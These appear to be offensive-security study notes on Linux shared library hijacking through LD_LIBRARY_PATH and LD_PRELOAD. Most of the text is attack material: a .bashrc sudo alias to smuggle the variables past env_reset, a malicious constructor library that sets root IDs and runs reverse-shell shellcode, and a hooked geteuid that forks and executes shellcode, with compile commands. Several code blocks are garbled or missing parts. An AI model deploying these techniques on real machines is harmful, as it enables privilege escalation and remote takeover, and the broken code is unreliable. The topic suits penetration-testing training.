Shared Library Hijacking

How shared libraries being loaded by Linux app can be manipulated to provide an advantage to an attacker. This approach is similar to DLL hijacking, which is commonly used to compromise Windows.

Linux app search needed app library copy with the following sequence order:

  1. Directories listed in the application's RPATH value.

  2. Directories specified in the LD_LIBRARY_PATH environment variable.

  3. Directories listed in the application's RUNPATH value.

  4. Directories specified in /etc/ld.so.conf.

  5. System library directories: /lib, /lib64, /usr/lib, /usr/lib64, /usr/local/lib, /usr/local/lib64, and potentially others.

We can potentially hijack or place our own versions of shared libraries in places earlier in the chain in order to control the application's behavior.

Via LD_LIBRARY_PATH

Privesc pre-requisite: use .bashrc set alias method to bypass env_reset setting on sudo

LD_LIBRARY_PATH environment variables are not passed even with this approach, so need to include it in the .bashrc alias explicitly.

alias sudo="sudo LD_LIBRARY_PATH="

echo 'alias sudo="sudo LD_LIBRARY_PATH="' >> .bashrc

source ~/.bashrc

sudo top

(rmb to be in /bin/bash)

We want to hijack the library of a program that a victim is likely to run, especially as sudo.

Need to remember that whichever library we're hijacking will be unavailable to the requesting program. Find something that won't break the system if all programs are prevented from using it, something that is likely to be loaded by the application but not likely to be called (e.g. error reporting library).

ldd 

Run the ldd command in the target machine on the targeted program. This will give us information on which libraries are being loaded when the targeted program is being run.

Target from the results:

libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0

Set our environment variable for LD_LIBRARY_PATH to where our arbitrary library is located and rename our .so file to match the one we're hijacking.

export LD_LIBRARY_PATH=/home/offsec/ldlib/

cp libhax.so libgpg-error.so.0

Run the targeted program and check if error message specifying which symbol it's looking for -

  | grep | grep  |  | 

The result is a list of variable definitions, one for each missing symbol, that we can copy and paste just under our initial constructor definition in our hax.c source code file.

hax.c
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

// Compile as follows
//gcc -Wall -fPIC -z execstack -c -o hax.o hax.c
//gcc -shared -o hax.so hax.o -ldl

static void runmahpayload() __attribute__((constructor));

int gpgrt_onclose;
// [...output from readelf here...]
int gpgrt_poll;

void runmahpayload() {
//encoded 'linux/x64/shell_reverse_tcp' payload
char buf[] = "\x77\x36";
        setuid(0);
        setgid(0);
        printf("Library hijacked!\n");
        int buf_len = (int) sizeof(buf);
        for (int i=0; i<buf_len; i++)
        {
                buf[i] = buf[i] ^ key;
        }
        intptr_t pagesize = sysconf(_SC_PAGESIZE);
        mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
        int (*ret)() = (int(*)())buf;
        ret();
}
compile
#1.
gcc    -o hax.o hax.c
#2.
gcc  -o  hax.o -ldl

If the target library requires version information in the associated libraries, we can fix this with the help of a map file that identifies particular symbols as being associated with a given version of the library.

1. find raw list of symbols
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g'
2. create the gpg.map
GPG_ERROR_1.0 {

_gpgrt_putc_overflow;
...
gpgrt_fflush;
gpgrt_poll;

};
Recompile new hax.c
gcc -Wall -fPIC -c -o hax.o hax.c
gcc -shared -Wl,--version-script gpg.map -o libgpg-error.so.0 hax.o
set the env var to our .so
export LD_LIBRARY_PATH=/home/offsec/ldlib/

and run the targeted command e.g. top

If an error occurred that required libgpg_error, the application would likely crash.

Via LD_PRELOAD (function hooking)

An environment variable that, when defined on the system, forces the dynamic linking loader to preload a particular shared library before any others. As a result, functions that are defined in this library are used before any with the same method signature that are defined in other libraries. Methods we define in a library loaded by LD_PRELOAD will override methods loaded later on.

The original libraries are also still being loaded, we can call the original functions and allow the program to continue working as intended.

Sudo will explicitly ignore the LD_PRELOAD environment variable for a user unless the user's real UID is the same as their effective UID (same as LD_LIBRARY_PATH).

Need to find an application that the victim is likely to frequently use, e.g. cp

#1. Find the list of library function calls the targeted cmd uses; a good candidate would be that it seems to only be called once during the application run, which limits how frequently our code will be executed. Using such a function will limit redundant shells.
ltrace cp

We don't need to define a constructor function as we did in the previous examples. This is because we want to fire our payload when a library function is being called, rather than when the library is loaded. Also, this will allow us to "patch" what the library is doing and still retain its original behavior.

2. evileuid.c
#define _GNU_SOURCE
 
#include <stdlib.h>
#include <stdio.h>

#include <unistd.h>


{

    = 
    "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
    "\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6";

    typeof(geteuid) *old_geteuid;
    
    
        //This line in the code determines whether or not the result of the fork call is zero. If it is, we are running inside the newly created child process, and can run our shell as we did with our earlier AV bypass shell application. Otherwise, it will return the expected value of geteuid to the original calling program so it can continue as intended.
        {
                intptr_t pagesize = sysconf(_SC_PAGESIZE);
                if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)),
                 pagesize, PROT_READ|PROT_EXEC)) {
                        perror("mprotect");
                        return -1;
                } //The code within the fork branch checks that the shellcode resides on an executable memory page before executing it. The reason for this additional step is that the -f PIC compilation flag relocates our shellcode to the library .data section in order to make it position independent. Specifically, the code gets the size of a memory page so it knows how much memory to access. It then changes the page of memory that contains our shellcode and makes it executable using mprotect. It does this by setting its access properties to PROT_READ and PROT_EXEC, which makes our code readable and executable. If changing the memory permissions fails, the program will exit with a return code of “-1”.
                int (*ret)() = (int(*)())buf;
                ret();
        }
        else
        {
                printf("HACK: returning from function...\n");
                return (*old_geteuid)();
        }
        printf("HACK: Returning from main...\n");
        return -2;
}
3. compile and link
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c
gcc -shared -o evil_geteuid.so evil_geteuid.o -ldl
#4. after setting up listener, run the targeted cmd w/o arbitrary library to set the LD_PRELOAD env var set
cp /etc/passwd /tmp/testpasswd
#5. onece with the LD_PRELOAD env var set, hook the function call
export LD_PRELOAD=/home/offsec/evil_geteuid.so
# to unset LD_PRELOAD and prevent side effects when performing other system actions
unset LD_PRELOAD
privesc
#a) /etc/sudoers set:


#b) .bashrc alias to explicitly call the crafted function when using sudo
alias sudo="sudo LD_PRELOAD=/home/offsec/evil_geteuid.so"
source ~/.bashrc
sudo cp /etc/passwd /tmp/testpasswd

Last updated